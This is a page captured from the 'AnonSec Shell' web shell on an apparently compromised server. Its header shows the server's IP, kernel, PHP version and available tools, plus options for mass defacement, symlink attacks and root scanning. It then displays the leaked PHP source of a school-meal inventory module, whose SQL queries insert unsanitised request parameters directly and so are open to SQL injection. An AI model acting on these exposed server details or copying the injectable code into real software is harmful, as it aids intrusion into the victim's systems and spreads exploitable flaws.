AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell
Server IP : 20.75.53.88 / Your IP : 216.73.217.165 [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON | cURL : OFF | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON
Directory : /var/www/html/merenda/mnova19/modulos/remessa/
Upload File :
[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]
Current File : /var/www/html/merenda/mnova19/modulos/remessa/remessaavulsa_edt.php
<?php
    /**
     * Criado por PhpStorm.
     * Projeto: SGAE.
     * Arquivo: remessaavulsa_edt.php.
     * Usuário: RalpAlves
     * Data: 28/05/2015
     * Hora: 12:23
     */
    session_start();
    $_SESSION['txt_usuario'];
    $id_usu_ent = $_SESSION['idusu'];
    $direito    = $_SESSION['admin'];
    
    $cod_id    = $_GET['cod_id'];
    $s_prg     = $_GET['s_prg'];
    $vprograma = $_GET['vprograma'];
    
    $rs_rema = mysql_query("SELECT * FROM v_lista_remessa_avulsa WHERE ra_id='$cod_id' order by ra_data");
    $rs_rmav = mysql_fetch_array($rs_rema);
    $rs_remi = mysql_query("SELECT * FROM v_lista_remessa_avulsa_item WHERE rai_ra_id='$cod_id' group by pro_id order by pro_produto");
    $rs_esc  = mysql_query("SELECT * FROM escolas ORDER BY esc_nome");
    $rs_prg  = mysql_query("SELECT * FROM programa ORDER BY prg_programa");
    $rs_prd  = mysql_query("SELECT * FROM v_lista_produtos_licitados WHERE qtd_entradanf OR qtd_implantacao OR qtedevol IS NOT NULL ORDER BY pro_produto");
    $rs_und  = mysql_query("SELECT * FROM unidade WHERE und_ativo='1'");
    $rs_car  = mysql_query("SELECT * FROM cardapio order by cdp_dtinic DESC");
    $rs_kit  = mysql_query("SELECT * FROM kit_tipo");


?>
<body>
<head>
    <title> | Saldo</title>
    <script type="text/javascript" language="javascript">
        function ins_vali(codDat) {
            var Dat = document.getElementById('vvali' + codDat).value;
            $.ajax({
                type: "GET", url: './modulos/remessa/remessa_muda_qtd.php?var=insvali&dat=' + Dat + '&codcon=' + codDat, dataType: "html", success: function (resultado) {
                    $('#LicDat').html(resultado);
                    //alert(resultado)
                }
            });
            location.reload()
        }
    </script>

</head>

<!--FORMULARIO-->
<body style="padding-top: 40px;"/>
<div class="container panel panel-primary">
    <div class="panel-body">
        <button id="#sign-up" name="bt_novo" class="btn" onClick="location.href='?page=remessa/remessaavulsa'">
            <i class="fa fa-arrow-left" title="voltar"></i></button>
        <span style="font-size:20px;">&nbsp;&nbsp;Remessa Avulsa | Edição&nbsp;</span>
        <!--<button type="submit" name="bt_novo" class="btn botao_direita"><i class="fa fa-check" title="salvar"></i> Salvar</button>-->
        <a href="modulos/remessa/rel_ficha_remessa_avulsa.php?id=<?php echo $rs_rmav['ra_id'] ?>"
           target='_blank'>
            <i class="glyphicon glyphicon-print text-print navbar-right" title="gerar PDF"></i>
        </a>
    </div>
</div>
<div class="container">
    <form id="form1" name="ordcpr" id="cad_sol" method="post" action="?page=./remessa/remessaavulsa_crud&var_acao=editar">
        <div class="col-md-2 col-xs-2 col-lg-2">
            ID
            <input style="color: black;" type="text" name="txt_id" readonly value="<?php echo $rs_rmav['ra_id'] ?>" class="form-control" maxlength="10">
        </div>
        <div class="col-md-2 col-xs-2 col-lg-2">
            Data
            <input style="color: black;" type="text" readonly name="txt_data" value="<?php echo $rs_rmav['ra_data'] ?>" required onKeyup="formataData(this,event);" class="form-control" maxlength="10">
        </div>
        <div class="col-md-1 col-xs-1 col-lg-1">
            Exercício
            <input style="color: black;" type="text" name="txt_exercicio" value="<?php echo $rs_rmav['ra_exercicio'] ?>" readonly required class="form-control"
                   maxlength="4">
        </div>
        <div class="col-md-7 col-xs-7 col-lg-7">
            Escola
            <select style="color: black;" name="txt_escola" class="form-control select2">
                <?php while ($_esc = mysql_fetch_array($rs_esc)) {
                    if ($rs_rmav['ra_escola']==$_esc['esc_id']) {
                        $selected = 'selected';
                    } else {
                        $selected = '';
                    } ?>
                    <option
                            value="<?=$_esc['esc_id']?>" <?php echo $selected; ?>><?=utf8_encode($_esc['esc_nome'] . '-' . $_esc['esc_id'])?></option>?>?>
                <?php } ?>
            </select>
        </div>
        <div class="col-md-2 col-xs-2 col-lg-2">
            Período inicial
            <input style="color: black;" type="text" name="txt_perinicial" value="<?php echo $rs_rmav['ra_dtinic'] ?>" required onKeyup="formataData(this,event);" class="form-control" maxlength="10">
        </div>
        <div class="col-md-2 col-xs-2 col-lg-2">
            Período final
            <input style="color: black;" type="text" name="txt_perfinal" value="<?php echo $rs_rmav['ra_dtfim'] ?>" required onKeyup="formataData(this,event);" class="form-control" maxlength="10">
        </div>
        <!--    <form id="form1" name="ordcpr" id="cad_sol" method="post" action="?page=./remessa/remessaavulsa_crud&var_acao=editar">-->

        <input type="hidden" name="txt_id" value="<?php echo $rs_rmav['ra_id'] ?>">
        <div class="col-md-5 col-xs-5 col-lg-5">
            Programa
            <select style="color: black;" name="txt_programa" class="form-control select2">
                <?php while ($_prg = mysql_fetch_array($rs_prg)) {
                    if ($rs_rmav['ra_programa']==$_prg['prg_id']) {
                        $selected = 'selected';
                    } else {
                        $selected = '';
                    } ?>
                    <option
                            value="<?=$_prg['prg_id']?>" <?php echo $selected; ?>><?=$_prg['prg_programa'] . '-' . $_prg['prg_id']?></option>?>?>
                <?php } ?>
            </select>
        </div>

        <div class="col-md-2 col-xs-2 col-lg-2">
            Mostrar Saldo
            <select style="color: black;" name="txt_saldo_prg" class="form-control">
                <?php if ($s_prg==1) { ?>
                    <option value="1" selected>Programa</option>
                    <option value="0">Geral</option>
                <? } else { ?>
                    <option value="1">Programa</option>
                    <option value="0" selected>Geral</option>
                <?php } ?>
            </select>
        </div>
        <div class="col-md-4">
            <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
                <label for="">Observação</label>
                <textarea rows="3" cols="5" name="txt_obs" class="form-control"><?php echo $rs_rmav['ra_obs'] ?></textarea>
            </div>
        </div>

        <div class="col-md-1 col-xs-1 col-lg-1"> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
            <button type='submit' name='bt_cad_prod' class='btn input-sm' title="Alterar programa">
                <i class="fa fa-check"></i>
            </button>
        </div>
    </form>
</div>
<br>
<!--ITENS DA REMESSA-->
<div class="container">
    <div class="panel with-nav-tabs panel-primary">
        <div class="panel-heading">
            Itens da remessa
        </div>
        <div class="panel-body">
            <div class="tab-content">
                <!--INCLUIR ITENS DE UM CARDAPIO-->
                <div class="col-md-12">
                    <div class="panel panel-body panel-primary filterable">
                        <form id="form1" name="ordcpr" id="cad_sol" method="post" action="?page=./remessa/remessaavulsa_crud&var_acao=add_item_cardapio">
                            <input type="hidden" name="id_rem" value="<?php echo $cod_id ?>">
                            <input type="hidden" name="e_card" value="1">
                            <input id="txt_programa" type="hidden" name="txt_programa" value="<?php echo $rs_rmav['ra_programa'] ?>">
                            <input id="s_prg" type="hidden" name="s_prg" value="<?php echo $rs_rmav['ra_tipo_saldo'] ?>">
                            <input type="hidden" id="txt_id_rem" name="txt_id_rem" readonly class="form-control" value="<?php echo $rs_rmav['ra_id'] ?>">
                            <input type="hidden" id="txt_data_i" name="txt_data_i" readonly class="form-control" value="<?php echo $rs_rmav['ra_data'] ?>">
                            <div class="col-md-5">
                                <label>incluir itens de um cardápio</label>
                                <select name="txt_cardapio" class="form-control select2">
                                    <option value="99999" selected>Selecione um cardápio</option>
                                    <?php while ($_car = mysql_fetch_array($rs_car)) { ?>
                                        <option value="<?php echo $_car['cdp_id'] ?>"><?php echo $_car['cdp_id'] . ' - ' . utf8_encode($_car['cdp_nmcardapio']) . ' (' . $_car['cdp_dtinic'] . ' a ' . $_car['cdp_dtfim'] . ')' ?></option>
                                    <?php } ?>
                                </select>
                            </div>
                            <div class="col-md-1">
                                <label>&nbsp;&nbsp;</label>
                                <button type="submit" name="bt_novo" class="btn"><i class="fa fa-check" title="Incluir itens na remessa"></i></button>
                            </div>
                        </form>
                        <form id="form2" name="ordcpr" id="cad_kit" method="post" action="?page=./remessa/remessaavulsa_crud&var_acao=add_item_kit">
                            <input type="hidden" name="id_rem" value="<?php echo $cod_id ?>">
                            <input type="hidden" name="e_card" value="1">
                            <input id="txt_programa" type="hidden" name="txt_programa" value="<?php echo $rs_rmav['ra_programa'] ?>">
                            <input id="s_prg" type="hidden" name="s_prg" value="<?php echo $rs_rmav['ra_tipo_saldo'] ?>">
                            <input type="hidden" id="txt_id_rem" name="txt_id_rem" readonly class="form-control" value="<?php echo $rs_rmav['ra_id'] ?>">
                            <input type="hidden" id="txt_data_i" name="txt_data_i" readonly class="form-control" value="<?php echo $rs_rmav['ra_data'] ?>">
                            <div class="col-md-5">
                                <label>incluir itens de um kit</label>
                                <select name="txt_cardapio" class="form-control select2">
                                    <option value="99999" selected>Selecione um cardápio</option>
                                    <?php while ($_kit = mysql_fetch_array($rs_kit)) { ?>
                                        <option value="<?php echo $_kit['ktipo_id'] ?>"><?php echo $_kit['kit_desc'] ?></option>
                                    <?php } ?>
                                </select>
                            </div>
                            <div class="col-md-1">
                                <label>&nbsp;&nbsp;</label>
                                <button type="submit" name="bt_novo" class="btn"><i class="fa fa-check" title="Incluir itens na remessa"></i></button>
                            </div>
                        </form>
                    </div>
                </div>
            </div>
        </div>
        <form id="form1" name="form1" id="cad_produto" method="post" action="?page=./remessa/remessaavulsa_crud&var_acao=cad_item">
            <div class="panel panel-body panel-primary filterable">
                <input id="txt_programa" type="hidden" name="txt_programa" value="<?php echo $rs_rmav['ra_programa'] ?>">
                <input id="s_prg" type="hidden" name="s_prg" value="<?php echo $rs_rmav['ra_tipo_saldo'] ?>">

                <input type="hidden" id="txt_id_rem" name="txt_id_rem" readonly class="form-control" value="<?php echo $rs_rmav['ra_id'] ?>">
                <input type="hidden" id="txt_data_i" name="txt_data_i" readonly class="form-control" value="<?php echo $rs_rmav['ra_data'] ?>">

                <div class="col-md-6">
                    <label for="">Produto</label>
                    <select name="txt_produto" id="txt_produto" onchange="CarregaUnidade(this.value);" class="form-control select2 select2-container--open">
                        <!--                    <select name="txt_produto" id="txt_produto" class="form-control select2 select2-container--open">-->
                        <option value="999" selected>Selecione uma opção</option>
                        <?php if ($s_prg==1) { ?>
                            <?php while ($_prd = mysql_fetch_array($rs_prd)) {
                                //SALDO POR PROGRAMA
                                $cod_prd   = $_prd['pro_id'];
                                $rs_saldoe = mysql_query("SELECT * FROM v_l_saldo_entrada_programa_avulso WHERE ent_prg_id=$vprograma and pro_id=$cod_prd");
//                                        $rs_saldoe = mysql_query("SELECT * FROM v_l_saldo_entrada_programa_avulso WHERE pro_id=$cod_prd");
                                $rs_saldos = mysql_query("SELECT * FROM v_l_saldo_saida_programa_avulso where ra_programa=$vprograma and rai_pro_id=$cod_prd");
                                $saldoe    = mysql_fetch_array($rs_saldoe);
                                $saldos    = mysql_fetch_array($rs_saldos);
                                $tosaldo   = ($saldoe['entrada']) - ($saldos['saida']);
                                //SALDO POR PROGRAMA
                                ?>
                                <option value="<?php echo $_prd['pro_id'] ?>|<?php echo $_prd['pro_unid_id'] ?>"><?php echo utf8_encode($_prd['pro_produto']) . ' (Saldo: ' . number_format($tosaldo, 2, ',', '.') . ')' ?></option>
                            <?php } ?>
                        <? } else { ?>
                            <?php while ($_prd = mysql_fetch_array($rs_prd)) {
                                //SALDO GERAL
                                $cod_prd   = $_prd['pro_id'];
                                $rs_entra1 = mysql_query("SELECT * FROM v_lista_saldo_entradas where pro_id=$cod_prd");
                                $entra1    = mysql_fetch_array($rs_entra1);
                                $rs_perca1 = mysql_query("SELECT * FROM v_saldo_percas where imi_codprod=$cod_prd");
                                $s_per1    = mysql_fetch_array($rs_perca1);
                                $toent1    = $entra1['qtd_entra_implam'] + $entra1['qtd_entra_nf'];
                                $tosal1    = ($entra1['qtd_entra_implam'] + $entra1['qtd_entra_nf']) - ($entra1['qtd_sai_rem_car'] + $entra1['qtd_sai_rem_avu'] + $s_per1['quantidade']);
                                //SALDO GERAL
                                ?>
                                <option value="<?php echo $_prd['pro_id'] ?>|<?php echo $_prd['pro_unid_id'] ?>"><?php echo utf8_encode($_prd['pro_produto']) . ' (' . $_prd['pro_id'] . ')' . ' (Saldo: ' . number_format($tosal1, 2, ',', '.') . ')' ?></option>
                            <?php } ?>
                        <?php } ?>
                    </select>
                </div>
                <div class="col-md-2">
                    <label for="">unidade</label>
                    <select id="txt_unidade" name="txt_unidade" class="form-control select2">
                        <option value="999" selected>Selecione</option>
                        <?php while ($_und = mysql_fetch_array($rs_und)) {
                            if ($rs_remi['und_id']==$_und['und_id']) {
                                $selected = 'selected';
                            } else {
                                $selected = '';
                            } ?>?>
                            <option value="<?=$_und['und_id']?>" <?php echo $selected; ?>><?=utf8_encode($_und['und_desc'])?></option>
                        <?php } ?>
                    </select>
                </div>
                <div class="col-md-2">
                    <label for="">Quantidade</label>
                    <input id="txt_qtd" type="text" name="txt_qtd" class="form-control lm" required onKeyup="formataValor(this,event);">
                </div>
                <div class="col-md-2">
                    <label for="">&nbsp;&nbsp;&nbsp;</label>
                    <br>
                    <button type='submit' name='bt_cad_prod' class='btn input-sm' title="Adiconar produto">
                        <i class="fa fa-check"></i>
                    </button>
                </div>
            </div>
        </form>
        <div class="panel panel-body panel-primary">
            <form class='form-inline' id='frm1' name='frm1' id='cad_produto' method='post' action='?page=./remessa/remessaavulsa_crud&var_acao=edt_item_all'>
                <table class="tabe1 table table-striped table-hover dt-responsive' cellspacing='0' width='100%' border='0'">
                    <thead>
                    <tr>
                        <th>ID</th>
                        <th>Produto</th>
                        <th>Und.</th>
                        <!--<th class='direita' title="total de entradas NF">Entradas</th>-->
                        <th class='direita' title="saldo das entrafas NF">Saldo</th>
                        <!--<th class='direita' title="saldo do item na escola">Escola</th>-->
                        <th width="5%" title="quantidade da remessa (envio)">Quant.</th>
                        <th></th>
                    </tr>
                    </thead>
                    <tbody>
                    
                    <?php
                        $esci = $rs_rmav['ra_escola'];
                        $w    = 0;
                        while ($row_rsResult = mysql_fetch_array($rs_remi)) {
                            $desc_prod = $row_rsResult['pro_produto'];
                            $id_ite    = $row_rsResult['rai_id'];
                            $id_rem    = $rs_rmav['ra_id'];
                            $cod_pd    = $row_rsResult['rai_pro_id'];
                            
                            if ($rs_rmav['ra_tipo_saldo']==1) {
                                $rs_saldoe = mysql_query("SELECT * FROM v_l_saldo_entrada_programa_avulso WHERE ent_prg_id=$vprograma and pro_id=$cod_pd");
                                $rs_saldos = mysql_query("SELECT * FROM v_l_saldo_saida_programa_avulso where ra_programa=$vprograma and rai_pro_id=$cod_pd");
                                $saldoe    = mysql_fetch_array($rs_saldoe);
                                $saldos    = mysql_fetch_array($rs_saldos);
                                $tosal     = ($saldoe['entrada']) - ($saldos['saida']);
                            } else {
                                $rs_entra = mysql_query("SELECT * FROM v_lista_saldo_entradas where pro_id=$cod_pd");
                                $entra    = mysql_fetch_array($rs_entra);
                                $rs_perca = mysql_query("SELECT * FROM v_saldo_percas where imi_codprod=$cod_pd");
                                $s_per    = mysql_fetch_array($rs_perca);
                                $toent    = $entra['qtd_entra_implam'] + $entra['qtd_entra_nf'];
                                $tosal    = ($entra['qtd_entra_implam'] + $entra['qtd_entra_nf']) - ($entra['qtd_sai_rem_car'] + $entra['qtd_sai_rem_avu'] + $s_per['quantidade']);
                            }
                            echo "<tr>";
                            echo "<td>" . $row_rsResult['rai_id'] . "</td>";
                            echo "<td>" . utf8_encode($row_rsResult['pro_produto']) . '-' . $row_rsResult['rai_pro_id'] . "</td>";
                            echo "<td>" . $row_rsResult['und_desc'] . "</td>";
                            //ENTRADAS
//                                echo "<td class='direita' style='color: darkgreen; font-weight: bold;'>" . number_format($toent, 2, ',', '.') . "</td>";
                            
                            
                            if ($tosal >= 0) {
                                echo "<td class='direita' style='color: blue; font-weight: bold;'>" . number_format($tosal, 2, ',', '.') . "</td>";
                            } else {
                                echo "<td class='direita danger' style='color: red; font-weight: bold; border-color: darkred;'>" . number_format($tosal, 2, ',', '.') . "</td>";
                            }
                            
                            //saldo do item na escola
                            //echo "<td class='direita' style='color: #a5570f; font-weight: bold;'>" . number_format($saldo_e, 2, ',', '.') . "</td>";
                            
                            $qtd_e = number_format($row_rsResult['rai_quant'], 2, ',', '.');
                            if ($direito=='1') {
                                $txt_programa = $rs_rmav['ra_programa'];
                                $s_prg        = $rs_rmav['ra_tipo_saldo'];
                                $id_item      = $row_rsResult['rai_id'];
                                
                                echo "
                                        <input type='hidden' name='txt_id_item$w' value='$id_item'/>
                                        <input type='hidden' name='txt_id_rem$w' value='$id_rem'/>
                                        <input type='hidden' name='txt_programa$w' value='$txt_programa'/>
                                        <input type='hidden' name='s_prg$w' value='$s_prg'/>
                                    
                                        <td class='direita input-group-btn'>
                                           <input type='text' name='txt_qtdrem$w' value='$qtd_e' class='form-control' onKeyup='formataDouble(this,event);' style='color: black;'/>
                                        </td>
                                        
                                    ";
                                
                                echo "<td><a href='?page=remessa/remessaavulsa_crud&id_rem=$id_rem&id_ite=$id_ite&var_acao=exc_item&s_prg=$s_prg&txt_programa=$txt_programa'>
                                                  <em class='fa fa-trash text-red' title='Excluir registro' onclick='excluir_registro(event);'/></a></td>";
                            } else {
                                echo "<td class='direita'>" . $qtd_e . "</td>";
                                echo "<td><a href='#'><img src='img/not.png' width='17' title='sem permissão para excluir o registro'/></a></td>";
                            }
                            $w++;
                        }
                        echo "<input type='hidden' name='tamanho' value='$w' />"
                    
                    ?>
                    </tbody>
                </table>
            </form>

            <!--BOTA SALVAR TODOS OS ITENS DA REMESSA-->
            <div class='com-md-12 botao_centro'>
                <button type="submit" class="btn-primary input-sm col-md-12" value="Salvar remessa" title="Salvar itens da remessa" onclick="$('#frm1').submit()">
                    <i class="fa fa-check"></i> Salvar itens da remessa
                </button>
            </div>
        </div>
    </div>
</div>
</div>
</div>
<script type="text/javascript" language="javascript">
    function CarregaUnidade(codCon) {
        $.ajax({
            type: "GET", url: './modulos/remessa/cb_unidade.php?id_cod=' + codCon,
            dataType: "html",
            success: function (resultado) {
                $('#txt_unidade').html(resultado);
            }
        });
    }
</script>
</body>
Anon7 - 2022
AnonSec Team